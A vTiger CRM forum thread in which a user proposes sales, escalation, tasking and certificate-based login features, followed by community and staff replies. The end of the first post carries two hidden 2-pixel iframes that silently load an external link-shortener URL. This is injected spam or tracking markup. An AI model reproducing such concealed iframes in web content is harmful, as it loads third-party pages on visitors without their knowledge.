vTiger doesn't fully 'understand' the CRM process

Perhaps I posted this in the wrong section, so here it is again:

With respect, this is an excellent piece of software and with minimal work, could be an exceptonal CRM if the sales process were improved on and the support system contained escalation. Finally, there should also be an internal tasking system (this can be as basic or as complex/flexible as the community decides....).

After 20 years in sales (telesales, face-to-face, negotiated, SME, corporate and government), I know the sales process 'inside out'. And I'd like to work with your community to implement 3/4 simple improvements that would radically change the actual sales that the vTiger CRM could generate for its users.

As a 'newbie' to the open sourfce community, please forgive me if I'm not following protocol or following the correct rules but please be assured that I respect this community and am eager to participate.

For what it's worth, on the basis that we couldn't find a suitable system for our business - we wrote our own basic version in PHP to solve the issues listed below. If the community is interested, you can have this code to modify, etc as you require.

Here's what needs to be done:

1. Many sales situations involve multiple people that need to be involved, quickly at certain instances. A single sale could involve two people (the 'opener' and the 'closer') or a team collaborating on many aspects of the sales cycle (meeting, documenting, presenting, quoting, negotiating....) The common thread is 'quick response'. Slight modification of the reminder mechanism in vTiger and the ability to pop an urgent record infron of a specific user (perhaps by modifying the instant messenger or by having two types of reminder (current version & winpop version) would make this process far more effective.

2. Every customer expects to be treated with 'gold service'. This means every case must follow some sort of service level agreement (here's a link to ours for example: <!-- m --><a class="postlink" href="http://www.digi-sign.com/support/sla.php">http://www.digi-sign.com/support/sla.php</a><!-- m -->) All that's required for vTiger to be a 'world class' CRM is that the users have the ability to assign escalation time slots and who the support case must be escalated too if the issue isn't resolved. Include this, and people will love your system.

3. Every person in every company spends their day-to-day existance requesting and completing tasks. The common task setting and acknowledgement mechanism in most SMEs is by email. But this doesn't work unless it's manually supervised by an organised manager. By modifying the support system in vTiger CRM, you could create an internal tasking system that is a powerful management tool (we should know, we're just short of reaching out 10,000th task in our organisation - each one fully tracked, traced, delivered, approved and completed....). Again this is a simple modification with exceptional benefits.

3. a) the basic tasking system can be a simple request, complete, approve to close system.

3. b) True CRM is about making a sale and ensuring timely delivery of the customer accepted product/service. A simple modification of the support system in vTiger CRM could be made to track the 'closed sale' through to the delivery (i.e. everything's done, we can invoice now). This can be a simple check box type process management with escalation 'built in' to ensure that the product/service is delivered in the shortest possible time and if it's not, then it's escalated.

3. c) further enhancements can include a purchase request, authorisation, price comparison, vendor selection, order place, goods in acknowledgement, payment approval, payment activation and payment authorisation.

3. d) could be a HR tasking for the invitation to new staff, pre-selection, shortlisting, selection, rejection, etc - and this could be further enhanced to include HR management for an SME (I know, this isn't CRM, but SMEs aren't that organised when it comes to their most important asset: their own people)

4. Finally, as a security conscious company, we wouold wnat two factor authentication implemented so that accessing the system requires client certificates (preferably at the user level - i.e. bob smith logs in with his certificate and his permissions are as originally set by the Administrator). And while we're at it, the abilitly to digitally sign outgoing emails with the same/alternative certificate would be nice too (or maybe that's asking too much <!-- s;-) --><img src="{SMILIES_PATH}/icon_wink.gif" alt=";-)" title="Wink" /><!-- s;-) -->

Anyhow, that's it for now and please be assured it is not my intention to offend anyone, rather to help build more excellence into your solution. An I would greatly appreciate any comments good or bad on my suggestions. <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
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Comments

  • 15 Comments sorted by Votes Date Added
  • these sound like very good suggestions to improve vtiger. i know that for my use i could definetely make use of the tasking mechanisms and also the escalation mechanisms.

    however, i can see that all the other points mentioned are also worthwhile.

    are any of these being included in the new 5.0.4 release or even in the eventual 5.0.5?

    jom
  • hi jom,

    unfortunately, i am an 'outsider' at present and only wrote this set of suggestions in the hope of getting someone or part of the community to consider these suggestions.

    also, as you can see, we've already written source code (albeit for our own application) and i've offered this to the community. so maybe they will implement these ideas - if they take me seriously.
  • hi jom,

    unfortunately, i am an 'outsider' at present and only wrote this set of suggestions in the hope of getting someone or part of the community to consider them.

    also, as you can see, we've already written source code (albeit for our own application) and i've offered this to the community. so maybe they will implement these ideas - if they take me seriously.
  • hello patrick.

    unfortunately i'm not programmer and taking part in this project only translating it and adopting for myself. but i have one question: why did you post your question/request here in feature requests - 5.0.2? it's also was strange for me that no one of members of project didn't reply you quickly but i think they are mostly busy with upcoming 5.0.4 and i think you should post it there.
  • hi there,

    i posted in both place because the community linkfor feature requests goes to 5.0.2 and then there's another location for feature requests for 5.0.4. anyhow, i've also emailed the developers network, but it seems my email was automatically bounced.....
  • no. i'm receiving developers emails and i received it. maybe those guys just worked so hard that they need few days off. <!-- s;-) --><img src="{smilies_path}/icon_wink.gif" alt=";-)" title="wink" /><!-- s;-) -->
  • thanks for the heads up and let's see what somes out......
  • patrick,

    good workflows. i envisage getting support for a workflow system into vtiger would allow the tracking/alerting aspects of these to be implemented on a business by business basis. template or standard flows could be shipped with the product, and then we

    i've looked at galaxia (see tikiwiki, horde, and others) a few times, and it looks fine as a framework. it would need to be adapted to the vtiger framework, and then we'd need event triggers added to the codebase to "flag" that the events were happening. the workflow engine can then alert, email, create data, etc as required.

    agree on tasking too. we use activity todos on the sales side, and helpdesk tickets on support side to track these types of tasks. perhaps tasks (with extra statuses) in combination with a workflow engine could deliver the tracking from deal to delivery (even auto-gen the invoice).

    some input...
  • hi patrick,

    thanks for you interest in vtigercrm.

    we are very much interested in adding you contributions to vtigercrm.

    you can send us the source code for the contributions so that we can do the needful.

    looking forward to work with you.


    thanks & regards,
    don
    vtigercrm

    email: <!-- e --><a href="mailto:don@vtiger.com">don@vtiger.com</a><!-- e -->
    call us: 1-877-788-4437
  • hi all,

    now that the new release has stabilised. when do you think you might re-examine the suggestions i made and/or the source code i sent to you.

    looking forward to a positive response,
    <!-- s:) --><img src="{smilies_path}/icon_smile.gif" alt=":)" title="smile" /><!-- s:) -->
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